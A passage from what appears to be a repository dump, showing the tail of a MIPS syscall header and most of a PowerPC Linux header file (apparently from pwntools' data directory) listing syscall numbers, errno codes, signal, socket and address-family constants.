(4000 + 304)\n#define SYS_ssetmask (4000 +  69)\n#define SYS_stat (4000 + 106)\n#define SYS_stat64 (4000 + 213)\n#define SYS_statfs (4000 +  99)\n#define SYS_statfs64 (4000 + 255)\n#define SYS_statx (4000 + 366)\n#define SYS_stime (4000 +  25)\n#define SYS_stty (4000 +  31)\n#define SYS_swapoff (4000 + 115)\n#define SYS_swapon (4000 +  87)\n#define SYS_symlink (4000 +  83)\n#define SYS_symlinkat (4000 + 297)\n#define SYS_sync (4000 +  36)\n#define SYS_sync_file_range (4000 + 305)\n#define SYS_syncfs (4000 + 342)\n#define SYS_syscall (4000 +\t0)\n#define SYS__sysctl (4000 + 153)\n#define SYS_sysfs (4000 + 135)\n#define SYS_sysinfo (4000 + 116)\n#define SYS_syslog (4000 + 103)\n#define SYS_sysmips (4000 + 149)\n#define SYS_tee (4000 + 306)\n#define SYS_tgkill (4000 + 266)\n#define SYS_time (4000 +  13)\n#define SYS_timer_create (4000 + 257)\n#define SYS_timer_delete (4000 + 261)\n#define SYS_timerfd (4000 + 318)\n#define SYS_timerfd_create (4000 + 321)\n#define SYS_timerfd_gettime (4000 + 322)\n#define SYS_timerfd_gettime64 (4000 + 410)\n#define SYS_timerfd_settime (4000 + 323)\n#define SYS_timerfd_settime64 (4000 + 411)\n#define SYS_timer_getoverrun (4000 + 260)\n#define SYS_timer_gettime (4000 + 259)\n#define SYS_timer_gettime64 (4000 + 408)\n#define SYS_timer_settime (4000 + 258)\n#define SYS_timer_settime64 (4000 + 409)\n#define SYS_times (4000 +  43)\n#define SYS_tkill (4000 + 236)\n#define SYS_truncate (4000 +  92)\n#define SYS_truncate64 (4000 + 211)\n#define SYS_ulimit (4000 +  58)\n#define SYS_umask (4000 +  60)\n#define SYS_umount (4000 +  22)\n#define SYS_umount2 (4000 +  52)\n#define SYS_uname (4000 + 122)\n#define SYS_unlink (4000 +  10)\n#define SYS_unlinkat (4000 + 294)\n#define SYS_unshare (4000 + 303)\n#define SYS_unused109 (4000 + 109)\n#define SYS_unused150 (4000 + 150)\n#define SYS_unused18 (4000 +  18)\n#define SYS_unused28 (4000 +  28)\n#define SYS_unused59 (4000 +  59)\n#define SYS_unused84 (4000 +  84)\n#define SYS_uselib (4000 +  86)\n#define SYS_userfaultfd (4000 + 357)\n#define SYS_ustat (4000 +  62)\n#define SYS_utime (4000 +  30)\n#define SYS_utimensat (4000 + 316)\n#define SYS_utimensat_time64 (4000 + 412)\n#define SYS_utimes (4000 + 267)\n#define SYS_vhangup (4000 + 111)\n#define SYS_vm86 (4000 + 113)\n#define SYS_vmsplice (4000 + 307)\n#define SYS_vserver (4000 + 277)\n#define SYS_wait4 (4000 + 114)\n#define SYS_waitid (4000 + 278)\n#define SYS_waitpid (4000 +\t7)\n#define SYS_write (4000 +\t4)\n#define SYS_writev (4000 + 146)\n"
  },
  {
    "path": "pwnlib/data/includes/linux/powerpc.h",
    "content": "#define __NR_exit 1\n#define __NR_fork 2\n#define __NR_read 3\n#define __NR_write 4\n#define __NR_open 5\n#define __NR_close 6\n#define __NR_waitpid 7\n#define __NR_creat 8\n#define __NR_link 9\n#define __NR_unlink 10\n#define __NR_execve 11\n#define __NR_chdir 12\n#define __NR_time 13\n#define __NR_mknod 14\n#define __NR_chmod 15\n#define __NR_lchown 16\n#define __NR_break 17\n#define __NR_oldstat 18\n#define __NR_lseek 19\n#define __NR_getpid 20\n#define __NR_mount 21\n#define __NR_umount 22\n#define __NR_setuid 23\n#define __NR_getuid 24\n#define __NR_stime 25\n#define __NR_ptrace 26\n#define __NR_alarm 27\n#define __NR_oldfstat 28\n#define __NR_pause 29\n#define __NR_utime 30\n#define __NR_stty 31\n#define __NR_gtty 32\n#define __NR_access 33\n#define __NR_nice 34\n#define __NR_ftime 35\n#define __NR_sync 36\n#define __NR_kill 37\n#define __NR_rename 38\n#define __NR_mkdir 39\n#define __NR_rmdir 40\n#define __NR_dup 41\n#define __NR_pipe 42\n#define __NR_times 43\n#define __NR_prof 44\n#define __NR_brk 45\n#define __NR_setgid 46\n#define __NR_getgid 47\n#define __NR_signal 48\n#define __NR_geteuid 49\n#define __NR_getegid 50\n#define __NR_acct 51\n#define __NR_umount2 52\n#define __NR_lock 53\n#define __NR_ioctl 54\n#define __NR_fcntl 55\n#define __NR_mpx 56\n#define __NR_setpgid 57\n#define __NR_ulimit 58\n#define __NR_oldolduname 59\n#define __NR_umask 60\n#define __NR_chroot 61\n#define __NR_ustat 62\n#define __NR_dup2 63\n#define __NR_getppid 64\n#define __NR_getpgrp 65\n#define __NR_setsid 66\n#define __NR_sigaction 67\n#define __NR_sgetmask 68\n#define __NR_ssetmask 69\n#define __NR_setreuid 70\n#define __NR_setregid 71\n#define __NR_sigsuspend 72\n#define __NR_sigpending 73\n#define __NR_sethostname 74\n#define __NR_setrlimit 75\n#define __NR_getrlimit 76\n#define __NR_getrusage 77\n#define __NR_gettimeofday 78\n#define __NR_settimeofday 79\n#define __NR_getgroups 80\n#define __NR_setgroups 81\n#define __NR_select 82\n#define __NR_symlink 83\n#define __NR_oldlstat 84\n#define __NR_readlink 85\n#define __NR_uselib 86\n#define __NR_swapon 87\n#define __NR_reboot 88\n#define __NR_readdir 89\n#define __NR_mmap 90\n#define __NR_munmap 91\n#define __NR_truncate 92\n#define __NR_ftruncate 93\n#define __NR_fchmod 94\n#define __NR_fchown 95\n#define __NR_getpriority 96\n#define __NR_setpriority 97\n#define __NR_profil 98\n#define __NR_statfs 99\n#define __NR_fstatfs 100\n#define __NR_ioperm 101\n#define __NR_socketcall 102\n#define __NR_syslog 103\n#define __NR_setitimer 104\n#define __NR_getitimer 105\n#define __NR_stat 106\n#define __NR_lstat 107\n#define __NR_fstat 108\n#define __NR_olduname 109\n#define __NR_iopl 110\n#define __NR_vhangup 111\n#define __NR_idle 112\n#define __NR_vm86 113\n#define __NR_wait4 114\n#define __NR_swapoff 115\n#define __NR_sysinfo 116\n#define __NR_ipc 117\n#define __NR_fsync 118\n#define __NR_sigreturn 119\n#define __NR_clone 120\n#define __NR_setdomainname 121\n#define __NR_uname 122\n#define __NR_modify_ldt 123\n#define __NR_adjtimex 124\n#define __NR_mprotect 125\n#define __NR_sigprocmask 126\n#define __NR_create_module 127\n#define __NR_init_module 128\n#define __NR_delete_module 129\n#define __NR_get_kernel_syms 130\n#define __NR_quotactl 131\n#define __NR_getpgid 132\n#define __NR_fchdir 133\n#define __NR_bdflush 134\n#define __NR_sysfs 135\n#define __NR_personality 136\n#define __NR_afs_syscall 137\n#define __NR_setfsuid 138\n#define __NR_setfsgid 139\n#define __NR__llseek 140\n#define __NR_getdents 141\n#define __NR__newselect 142\n#define __NR_flock 143\n#define __NR_msync 144\n#define __NR_readv 145\n#define __NR_writev 146\n#define __NR_getsid 147\n#define __NR_fdatasync 148\n#define __NR__sysctl 149\n#define __NR_mlock 150\n#define __NR_munlock 151\n#define __NR_mlockall 152\n#define __NR_munlockall 153\n#define __NR_sched_setparam 154\n#define __NR_sched_getparam 155\n#define __NR_sched_setscheduler 156\n#define __NR_sched_getscheduler 157\n#define __NR_sched_yield 158\n#define __NR_sched_get_priority_max 159\n#define __NR_sched_get_priority_min 160\n#define __NR_sched_rr_get_interval 161\n#define __NR_nanosleep 162\n#define __NR_mremap 163\n#define __NR_setresuid 164\n#define __NR_getresuid 165\n#define __NR_query_module 166\n#define __NR_poll 167\n#define __NR_nfsservctl 168\n#define __NR_setresgid 169\n#define __NR_getresgid 170\n#define __NR_prctl 171\n#define __NR_rt_sigreturn 172\n#define __NR_rt_sigaction 173\n#define __NR_rt_sigprocmask 174\n#define __NR_rt_sigpending 175\n#define __NR_rt_sigtimedwait 176\n#define __NR_rt_sigqueueinfo 177\n#define __NR_rt_sigsuspend 178\n#define __NR_pread 179\n#define __NR_pwrite 180\n#define __NR_chown 181\n#define __NR_getcwd 182\n#define __NR_capget 183\n#define __NR_capset 184\n#define __NR_sigaltstack 185\n#define __NR_sendfile 186\n#define __NR_getpmsg 187\n#define __NR_putpmsg 188\n#define __NR_vfork 189\n#define __NR_ugetrlimit 190\n#define __NR_readahead 191\n#define __NR_mmap2 192\n#define __NR_truncate64 193\n#define __NR_ftruncate64 194\n#define __NR_stat64 195\n#define __NR_lstat64 196\n#define __NR_fstat64 197\n#define __NR_pciconfig_read 198\n#define __NR_pciconfig_write 199\n#define __NR_pciconfig_iobase 200\n#define __NR_multiplexer 201\n#define __NR_getdents64 202\n#define __NR_pivot_root 203\n#define __NR_fcntl64 204\n#define __NR_madvise 205\n#define __NR_mincore 206\n#define __NR_gettid 207\n#define __NR_tkill 208\n#define __NR_setxattr 209\n#define __NR_lsetxattr 210\n#define __NR_fsetxattr 211\n#define __NR_getxattr 212\n#define __NR_lgetxattr 213\n#define __NR_fgetxattr 214\n#define __NR_listxattr 215\n#define __NR_llistxattr 216\n#define __NR_flistxattr 217\n#define __NR_removexattr 218\n#define __NR_lremovexattr 219\n#define __NR_fremovexattr 220\n#define __NR_futex 221\n#define __NR_sched_setaffinity 222\n#define __NR_sched_getaffinity 223\n#define __NR_tuxcall 225\n#define __NR_sendfile64 226\n#define __NR_io_setup 227\n#define __NR_io_destroy 228\n#define __NR_io_getevents 229\n#define __NR_io_submit 230\n#define __NR_io_cancel 231\n#define __NR_set_tid_address 232\n#define __NR_fadvise64 233\n#define __NR_exit_group 234\n#define __NR_lookup_dcookie 235\n#define __NR_epoll_create 236\n#define __NR_epoll_ctl 237\n#define __NR_epoll_wait 238\n#define __NR_remap_file_pages 239\n#define __NR_timer_create 240\n#define __NR_timer_settime 241\n#define __NR_timer_gettime 242\n#define __NR_timer_getoverrun 243\n#define __NR_timer_delete 244\n#define __NR_clock_settime 245\n#define __NR_clock_gettime 246\n#define __NR_clock_getres 247\n#define __NR_clock_nanosleep 248\n#define __NR_swapcontext 249\n#define __NR_tgkill 250\n#define __NR_utimes 251\n#define __NR_statfs64 252\n#define __NR_fstatfs64 253\n#define __NR_fadvise64_64 254\n#define __NR_rtas 255\n#define __NR_sys_debug_setcontext 256\n#define __NR_mq_open 262\n#define __NR_mq_unlink 263\n#define __NR_mq_timedsend 264\n#define __NR_mq_timedreceive 265\n#define __NR_mq_notify 266\n#define __NR_mq_getsetattr 267\n#define __NR_kexec_load 268\n#define __NR_add_key 269\n#define __NR_request_key 270\n#define __NR_keyctl 271\n#define __NR_waitid 272\n#define __NR_ioprio_set 273\n#define __NR_ioprio_get 274\n#define __NR_inotify_init 275\n#define __NR_inotify_add_watch 276\n#define __NR_inotify_rm_watch 277\n#define __NR_spu_run 278\n#define __NR_spu_create 279\n#define __NR_pselect6 280\n#define __NR_ppoll 281\n#define __NR_unshare 282\n#define __NR_splice 283\n#define __NR_tee 284\n#define __NR_vmsplice 285\n#define __NR_openat 286\n#define __NR_mkdirat 287\n#define __NR_mknodat 288\n#define __NR_fchownat 289\n#define __NR_futimesat 290\n#define __NR_fstatat64 291\n#define __NR_unlinkat 292\n#define __NR_renameat 293\n#define __NR_linkat 294\n#define __NR_symlinkat 295\n#define __NR_readlinkat 296\n#define __NR_fchmodat 297\n#define __NR_faccessat 298\n#define __NR_get_robust_list 299\n#define __NR_set_robust_list 300\n#define __NR_move_pages 301\n#define __NR_getcpu 302\n#define __NR_epoll_pwait 303\n#define __NR_utimensat 304\n#define __NR_signalfd 305\n#define __NR_timerfd 306\n#define __NR_eventfd 307\n#define __NR_sync_file_range2 308\n#define __NR_fallocate 309\n#define __NR_subpage_prot 310\n#define __NR_timerfd_settime 311\n#define __NR_timerfd_gettime 312\n#define __NR_signalfd4 313\n#define __NR_eventfd2 314\n#define __NR_epoll_create1 315\n#define __NR_dup3 316\n#define __NR_pipe2 317\n#define __NR_inotify_init1 318\n#define __NR_perf_event_open 319\n#define __NR_preadv 320\n#define __NR_pwritev 321\n#define __NR_rt_tgsigqueueinfo 322\n#define __NR_fanotify_init 323\n#define __NR_fanotify_mark 324\n#define __NR_prlimit64 325\n#define __NR_socket 326\n#define __NR_bind 327\n#define __NR_connect 328\n#define __NR_listen 329\n#define __NR_accept 330\n#define __NR_getsockname 331\n#define __NR_getpeername 332\n#define __NR_socketpair 333\n#define __NR_send 334\n#define __NR_sendto 335\n#define __NR_recv 336\n#define __NR_recvfrom 337\n#define __NR_shutdown 338\n#define __NR_setsockopt 339\n#define __NR_getsockopt 340\n#define __NR_sendmsg 341\n#define __NR_recvmsg 342\n#define __NR_recvmmsg 343\n#define __NR_accept4 344\n#define __NR_name_to_handle_at 345\n#define __NR_open_by_handle_at 346\n#define __NR_clock_adjtime 347\n#define __NR_syncfs 348\n#define __NR_sendmmsg 349\n#define __NR_setns 350\n#define __NR_process_vm_readv 351\n#define __NR_process_vm_writev 352\n#define __NR_finit_module 353\n#define __NR_kcmp 354\n#define __NR_sched_setattr 355\n#define __NR_sched_getattr 356\n#define __NR_renameat2 357\n#define __NR_seccomp 358\n#define __NR_getrandom 359\n#define __NR_memfd_create 360\n#define __NR_bpf 361\n#define __NR_execveat 362\n#define __NR_switch_endian 363\n#define __NR_userfaultfd 364\n#define __NR_membarrier 365\n#define __NR_mlock2 378\n#define __NR_copy_file_range 379\n#define __NR_preadv2 380\n#define __NR_pwritev2 381\n#define __NR_kexec_file_load 382\n#define __NR_statx 383\n#define __NR_pkey_alloc 384\n#define __NR_pkey_free 385\n#define __NR_pkey_mprotect 386\n#define __NR_rseq 387\n#define __NR_io_pgetevents 388\n#define __NR_semget 393\n#define __NR_semctl 394\n#define __NR_shmget 395\n#define __NR_shmctl 396\n#define __NR_shmat 397\n#define __NR_shmdt 398\n#define __NR_msgget 399\n#define __NR_msgsnd 400\n#define __NR_msgrcv 401\n#define __NR_msgctl 402\n#define __NR_clock_gettime64 403\n#define __NR_clock_settime64 404\n#define __NR_clock_adjtime64 405\n#define __NR_clock_getres_time64 406\n#define __NR_clock_nanosleep_time64 407\n#define __NR_timer_gettime64 408\n#define __NR_timer_settime64 409\n#define __NR_timerfd_gettime64 410\n#define __NR_timerfd_settime64 411\n#define __NR_utimensat_time64 412\n#define __NR_pselect6_time64 413\n#define __NR_ppoll_time64 414\n#define __NR_io_pgetevents_time64 416\n#define __NR_recvmmsg_time64 417\n#define __NR_mq_timedsend_time64 418\n#define __NR_mq_timedreceive_time64 419\n#define __NR_semtimedop_time64 420\n#define __NR_rt_sigtimedwait_time64 421\n#define __NR_futex_time64 422\n#define __NR_sched_rr_get_interval_time64 423\n#define __NR_pidfd_send_signal 424\n#define __NR_io_uring_setup 425\n#define __NR_io_uring_enter 426\n#define __NR_io_uring_register 427\n#define __NR_open_tree 428\n#define __NR_move_mount 429\n#define __NR_fsopen 430\n#define __NR_fsconfig 431\n#define __NR_fsmount 432\n#define __NR_fspick 433\n#define __NR_pidfd_open 434\n#define __NR_clone3 435\n#define __NR_openat2 437\n#define __NR_pidfd_getfd 438\n#define MAP_32BIT 0x40\n#define INADDR_ANY 0\n#define INADDR_BROADCAST 0xffffffff\n#define INADDR_NONE 0xffffffff\n#define INADDR_LOOPBACK 0x7f000001\n#define EPERM 1\n#define ENOENT 2\n#define ESRCH 3\n#define EINTR 4\n#define EIO 5\n#define ENXIO 6\n#define E2BIG 7\n#define ENOEXEC 8\n#define EBADF 9\n#define ECHILD 10\n#define EAGAIN 11\n#define ENOMEM 12\n#define EACCES 13\n#define EFAULT 14\n#define ENOTBLK 15\n#define EBUSY 16\n#define EEXIST 17\n#define EXDEV 18\n#define ENODEV 19\n#define ENOTDIR 20\n#define EISDIR 21\n#define EINVAL 22\n#define ENFILE 23\n#define EMFILE 24\n#define ENOTTY 25\n#define ETXTBSY 26\n#define EFBIG 27\n#define ENOSPC 28\n#define ESPIPE 29\n#define EROFS 30\n#define EMLINK 31\n#define EPIPE 32\n#define EDOM 33\n#define ERANGE 34\n#define EDEADLK 35\n#define ENAMETOOLONG 36\n#define ENOLCK 37\n#define ENOSYS 38\n#define ENOTEMPTY 39\n#define ELOOP 40\n#define EWOULDBLOCK 11\n#define ENOMSG 42\n#define EIDRM 43\n#define ECHRNG 44\n#define EL2NSYNC 45\n#define EL3HLT 46\n#define EL3RST 47\n#define ELNRNG 48\n#define EUNATCH 49\n#define ENOCSI 50\n#define EL2HLT 51\n#define EBADE 52\n#define EBADR 53\n#define EXFULL 54\n#define ENOANO 55\n#define EBADRQC 56\n#define EBADSLT 57\n#define EDEADLOCK 35\n#define EBFONT 59\n#define ENOSTR 60\n#define ENODATA 61\n#define ETIME 62\n#define ENOSR 63\n#define ENONET 64\n#define ENOPKG 65\n#define EREMOTE 66\n#define ENOLINK 67\n#define EADV 68\n#define ESRMNT 69\n#define ECOMM 70\n#define EPROTO 71\n#define EMULTIHOP 72\n#define EDOTDOT 73\n#define EBADMSG 74\n#define EOVERFLOW 75\n#define ENOTUNIQ 76\n#define EBADFD 77\n#define EREMCHG 78\n#define ELIBACC 79\n#define ELIBBAD 80\n#define ELIBSCN 81\n#define ELIBMAX 82\n#define ELIBEXEC 83\n#define EILSEQ 84\n#define ERESTART 85\n#define ESTRPIPE 86\n#define EUSERS 87\n#define ENOTSOCK 88\n#define EDESTADDRREQ 89\n#define EMSGSIZE 90\n#define EPROTOTYPE 91\n#define ENOPROTOOPT 92\n#define EPROTONOSUPPORT 93\n#define ESOCKTNOSUPPORT 94\n#define EOPNOTSUPP 95\n#define ENOTSUP 95\n#define EPFNOSUPPORT 96\n#define EAFNOSUPPORT 97\n#define EADDRINUSE 98\n#define EADDRNOTAVAIL 99\n#define ENETDOWN 100\n#define ENETUNREACH 101\n#define ENETRESET 102\n#define ECONNABORTED 103\n#define ECONNRESET 104\n#define ENOBUFS 105\n#define EISCONN 106\n#define ENOTCONN 107\n#define ESHUTDOWN 108\n#define ETOOMANYREFS 109\n#define ETIMEDOUT 110\n#define ECONNREFUSED 111\n#define EHOSTDOWN 112\n#define EHOSTUNREACH 113\n#define EALREADY 114\n#define EINPROGRESS 115\n#define ESTALE 116\n#define EUCLEAN 117\n#define ENOTNAM 118\n#define ENAVAIL 119\n#define EISNAM 120\n#define EREMOTEIO 121\n#define EDQUOT 122\n#define ENOMEDIUM 123\n#define EMEDIUMTYPE 124\n#define ECANCELED 125\n#define ENOKEY 126\n#define EKEYEXPIRED 127\n#define EKEYREVOKED 128\n#define EKEYREJECTED 129\n#define EOWNERDEAD 130\n#define ENOTRECOVERABLE 131\n#define ERFKILL 132\n#define EHWPOISON 133\n#define __SYS_NERR ((133) + 1)\n#define __LITTLE_ENDIAN 1234\n#define __BIG_ENDIAN 4321\n#define __BYTE_ORDER 4321\n#define __FLOAT_WORD_ORDER 4321\n#define LITTLE_ENDIAN 1234\n#define BIG_ENDIAN 4321\n#define BYTE_ORDER 4321\n#define __WORDSIZE 32\n#define INT8_MAX (127)\n#define INT16_MAX (32767)\n#define INT32_MAX (2147483647)\n#define INT64_MAX (9223372036854775807)\n#define INT8_MIN (-1 - (127))\n#define INT16_MIN (-1 - (32767))\n#define INT32_MIN (-1 - (2147483647))\n#define INT64_MIN (-1 - (9223372036854775807))\n#define INT_LEAST8_MAX (127)\n#define INT_LEAST8_MIN (-1 - (127))\n#define INT_LEAST16_MAX (32767)\n#define INT_LEAST16_MIN (-1 - (32767))\n#define INT_LEAST32_MAX (2147483647)\n#define INT_LEAST32_MIN (-1 - (2147483647))\n#define INT_LEAST64_MAX (9223372036854775807)\n#define INT_LEAST64_MIN (-1 - (9223372036854775807))\n#define UINT8_MAX 0xff\n#define UINT16_MAX 0xffff\n#define UINT32_MAX 0xffffffff\n#define UINT64_MAX 0xffffffffffffffff\n#define UINT_LEAST8_MAX 0xff\n#define UINT_LEAST16_MAX 0xffff\n#define UINT_LEAST32_MAX 0xffffffff\n#define UINT_LEAST64_MAX 0xffffffffffffffff\n#define INTPTR_MIN (-1 - (2147483647))\n#define INTPTR_MAX (2147483647)\n#define UINTPTR_MAX 0xffffffff\n#define SIZE_MAX 0xffffffff\n#define PTRDIFF_MIN (-1 - (2147483647))\n#define PTRDIFF_MAX (2147483647)\n#define INTMAX_MIN (-1 - (9223372036854775807))\n#define INTMAX_MAX (9223372036854775807)\n#define UINTMAX_MAX 0xffffffffffffffff\n#define INT_FAST8_MIN (-1 - (127))\n#define INT_FAST8_MAX (127)\n#define INT_FAST64_MIN (-1 - (9223372036854775807))\n#define INT_FAST64_MAX (9223372036854775807)\n#define UINT_FAST8_MAX 0xff\n#define UINT_FAST64_MAX 0xffffffffffffffff\n#define INT_FAST16_MIN (-1 - (2147483647))\n#define INT_FAST16_MAX (2147483647)\n#define UINT_FAST16_MAX 0xffffffff\n#define INT_FAST32_MIN (-1 - (2147483647))\n#define INT_FAST32_MAX (2147483647)\n#define UINT_FAST32_MAX 0xffffffff\n#define WINT_MIN 0\n#define __FSUID_H 1\n#define NSIG 32\n#define _NSIG 65\n#define SIGHUP 1\n#define SIGINT 2\n#define SIGQUIT 3\n#define SIGILL 4\n#define SIGTRAP 5\n#define SIGABRT 6\n#define SIGIOT 6\n#define SIGFPE 8\n#define SIGKILL 9\n#define SIGSEGV 11\n#define SIGPIPE 13\n#define SIGALRM 14\n#define SIGTERM 15\n#define SIGUNUSED 31\n#define SIGRTMIN 32\n#define SIGRTMAX (65-1)\n#define SA_NOCLDSTOP 0x00000001\n#define SA_NOCLDWAIT 0x00000002\n#define SA_SIGINFO 0x00000004\n#define SA_RESTORER 0x04000000\n#define SA_ONSTACK 0x08000000\n#define SA_RESTART 0x10000000\n#define SA_INTERRUPT 0x20000000\n#define SA_NODEFER 0x40000000\n#define SA_RESETHAND 0x80000000\n#define SA_NOMASK 0x40000000\n#define SA_ONESHOT 0x80000000\n#define SS_ONSTACK 1\n#define SS_DISABLE 2\n#define MINSIGSTKSZ 2048\n#define SIGSTKSZ 8192\n#define SIG_BLOCK 0\n#define SIG_UNBLOCK 1\n#define SIG_SETMASK 2\n#define SI_MAX_SIZE 128\n#define SIGEV_SIGNAL 0\n#define SIGEV_NONE 1\n#define SIGEV_THREAD 2\n#define SIGEV_THREAD_ID 4\n#define SIGEV_MAX_SIZE 64\n#define _SYS_TIME_H 1\n#define ITIMER_REAL 0\n#define ITIMER_VIRTUAL 1\n#define ITIMER_PROF 2\n#define FD_SETSIZE 1024\n#define R_OK 4\n#define W_OK 2\n#define X_OK 1\n#define F_OK 0\n#define SEEK_SET 0\n#define SEEK_CUR 1\n#define SEEK_END 2\n#define STDIN_FILENO 0\n#define STDOUT_FILENO 1\n#define STDERR_FILENO 2\n#define _CS_PATH 1\n#define _SC_CLK_TCK 1\n#define _SC_ARG_MAX 2\n#define _SC_NGROUPS_MAX 3\n#define _SC_OPEN_MAX 4\n#define _SC_PAGESIZE 5\n#define _SC_NPROCESSORS_ONLN 6\n#define _SC_NPROCESSORS_CONF 6\n#define _SC_PHYS_PAGES 7\n#define _SC_GETPW_R_SIZE_MAX 8\n#define _SC_GETGR_R_SIZE_MAX 9\n#define _PC_PATH_MAX 1\n#define _PC_VDISABLE 2\n#define L_cuserid 17\n#define _POSIX_VERSION 199506\n#define F_ULOCK 0\n#define F_LOCK 1\n#define F_TLOCK 2\n#define F_TEST 3\n#define _POSIX_MAPPED_FILES 200809\n#define S_IFMT 0xf000\n#define S_IFSOCK 0xc000\n#define S_IFLNK 0xa000\n#define S_IFREG 0x8000\n#define S_IFBLK 0x6000\n#define S_IFDIR 0x4000\n#define S_IFCHR 0x2000\n#define S_IFIFO 0x1000\n#define S_ISUID 0x800\n#define S_ISGID 0x400\n#define S_ISVTX 0x200\n#define S_IRWXU 0x1c0\n#define S_IRUSR 0x100\n#define S_IWUSR 0x80\n#define S_IXUSR 0x40\n#define S_IRWXG 0x38\n#define S_IRGRP 0x20\n#define S_IWGRP 0x10\n#define S_IXGRP 0x8\n#define S_IRWXO 0x7\n#define S_IROTH 0x4\n#define S_IWOTH 0x2\n#define S_IXOTH 0x1\n#define S_IREAD 0x100\n#define S_IWRITE 0x80\n#define S_IEXEC 0x40\n#define _SYS_UIO 1\n#define SOL_SOCKET 1\n#define SO_DEBUG 1\n#define SO_REUSEADDR 2\n#define SO_TYPE 3\n#define SO_ERROR 4\n#define SO_DONTROUTE 5\n#define SO_BROADCAST 6\n#define SO_SNDBUF 7\n#define SO_RCVBUF 8\n#define SO_KEEPALIVE 9\n#define SO_OOBINLINE 10\n#define SO_NO_CHECK 11\n#define SO_PRIORITY 12\n#define SO_LINGER 13\n#define SO_BSDCOMPAT 14\n#define SO_REUSEPORT 15\n#define SO_PASSCRED 16\n#define SO_PEERCRED 17\n#define SO_RCVLOWAT 18\n#define SO_SNDLOWAT 19\n#define SO_RCVTIMEO 20\n#define SO_SNDTIMEO 21\n#define SO_SECURITY_AUTHENTICATION 22\n#define SO_SECURITY_ENCRYPTION_TRANSPORT 23\n#define SO_SECURITY_ENCRYPTION_NETWORK 24\n#define SO_BINDTODEVICE 25\n#define SO_ATTACH_FILTER 26\n#define SO_DETACH_FILTER 27\n#define SO_GET_FILTER 26\n#define SO_PEERNAME 28\n#define SO_TIMESTAMP 29\n#define SCM_TIMESTAMP 29\n#define SO_ACCEPTCONN 30\n#define SO_PEERSEC 31\n#define SO_SNDBUFFORCE 32\n#define SO_RCVBUFFORCE 33\n#define SO_PASSSEC 34\n#define SO_TIMESTAMPNS 35\n#define SCM_TIMESTAMPNS 35\n#define SO_MARK 36\n#define SO_TIMESTAMPING 37\n#define SCM_TIMESTAMPING 37\n#define SO_PROTOCOL 38\n#define SO_DOMAIN 39\n#define SO_RXQ_OVFL 40\n#define SO_WIFI_STATUS 41\n#define SCM_WIFI_STATUS 41\n#define SO_PEEK_OFF 42\n#define SO_NOFCS 43\n#define SO_LOCK_FILTER 44\n#define SO_SELECT_ERR_QUEUE 45\n#define SO_BUSY_POLL 46\n#define SO_MAX_PACING_RATE 47\n#define SO_BPF_EXTENSIONS 48\n#define SO_INCOMING_CPU 49\n#define SO_ATTACH_BPF 50\n#define SO_DETACH_BPF 27\n#define SO_ATTACH_REUSEPORT_CBPF 51\n#define SO_ATTACH_REUSEPORT_EBPF 52\n#define SO_CNX_ADVICE 53\n#define SCM_TIMESTAMPING_OPT_STATS 54\n#define SO_MEMINFO 55\n#define SO_INCOMING_NAPI_ID 56\n#define SO_COOKIE 57\n#define SCM_TIMESTAMPING_PKTINFO 58\n#define SO_PEERGROUPS 59\n#define SO_ZEROCOPY 60\n#define SOCK_STREAM 1\n#define SOCK_DGRAM 2\n#define SOCK_RAW 3\n#define SOCK_RDM 4\n#define SOCK_SEQPACKET 5\n#define SOCK_DCCP 6\n#define SOCK_PACKET 10\n#define UIO_FASTIOV 8\n#define UIO_MAXIOV 1024\n#define SCM_RIGHTS 0x01\n#define SCM_CREDENTIALS 0x02\n#define SCM_CONNECT 0x03\n#define AF_UNSPEC 0\n#define AF_UNIX 1\n#define AF_LOCAL 1\n#define AF_INET 2\n#define AF_AX25 3\n#define AF_IPX 4\n#define AF_APPLETALK 5\n#define AF_NETROM 6\n#define AF_BRIDGE 7\n#define AF_ATMPVC 8\n#define AF_X25 9\n#define AF_INET6 10\n#define AF_ROSE 11\n#define AF_DECnet 12\n#define AF_NETBEUI 13\n#define AF_SECURITY 14\n#define AF_KEY 15\n#define AF_NETLINK 16\n#define AF_ROUTE 16\n#define AF_PACKET 17\n#define AF_ASH 18\n#define AF_ECONET 19\n#define AF_ATMSVC 20\n#define AF_SNA 22\n#define AF_IRDA 23\n#define AF_PPPOX 24\n#define AF_WANPIPE 25\n#define AF_LLC 26\n#define AF_IB 27\n#define AF_MPLS 28\n#define AF_CAN 29\n#define AF_TIPC 30\n#define AF_BLUETOOTH 31\n#define AF_IUCV 32\n#define AF_RXRPC 33\n#define AF_ISDN 34\n#define AF_PHONET 35\n#define AF_IEEE802154 36\n#define AF_CAIF 37\n#define AF_ALG 38\n#define AF_NFC 39\n#define AF_VSOCK 40\n#define AF_KCM 41\n#define AF_QIPCRTR 42\n#define AF_SMC 43\n#define AF_MAX 44\n#define PF_UNSPEC 0\n#define PF_UNIX 1\n#define PF_LOCAL 1\n#define PF_INET 2\n#define PF_AX25 3\n#define PF_IPX 4\n#define PF_APPLETALK 5\n#define PF_NETROM 6\n#define PF_BRIDGE 7\n#define PF_ATMPVC 8\n#define PF_X25 9\n#define PF_INET6 10\n#define PF_ROSE 11\n#define PF_DECnet 12\n#define PF_NETBEUI 13\n#define PF_SECURITY 14\n#define PF_KEY 15\n#define PF_NETLINK 16\n#define PF_ROUTE 16\n#define PF_PACKET 17\n#define PF_ASH 18\n#define PF_ECONET 19\n#define PF_ATMSVC 20\n#define PF_SNA 22\n#define PF_IRDA 23\n#define PF_PPPOX 24\n#define PF_WANPIPE 25\n#define PF_LLC 26\n#define PF_IB 27\n#define PF_MPLS 28\n#define PF_CAN 29\n#define PF_TIPC 30\n#define PF_BLUETOOTH 31\n#define PF_IUCV 32\n#define PF_RXRPC 33\n#define PF_ISDN 34\n#define PF_PHONET 35\n#define PF_IEEE802154 36\n#define PF_CAIF 37\n#define PF_ALG 38\n#define PF_NFC 39\n#define PF_VSOCK 40\n#define PF_KCM 41\n#define PF_QIPCRTR 42\n#define PF_SMC 43\n#define PF_MAX 44\n#define SOMAXCONN 128\n#define MSG_OOB 1\n#define MSG_PEEK 2\n#define MSG_DONTROUTE 4\n#define MSG_TRYHARD 4\n#define MSG_CTRUNC 8\n#define MSG_PROBE 0x10\n#define MSG_TRUNC 0x20\n#define MSG_DONTWAIT 0x40\n#define MSG_EOR 0x80\n#define MSG_WAITALL 0x100\n#define MSG_FIN 0x200\n#define MSG_SYN 0x400\n#define MSG_CONFIRM 0x800\n#define MSG_RST 0x1000\n#define MSG_ERRQUEUE 0x2000\n#define MSG_NOSIGNAL 0x4000\n#define MSG_MORE 0x8000\n#define 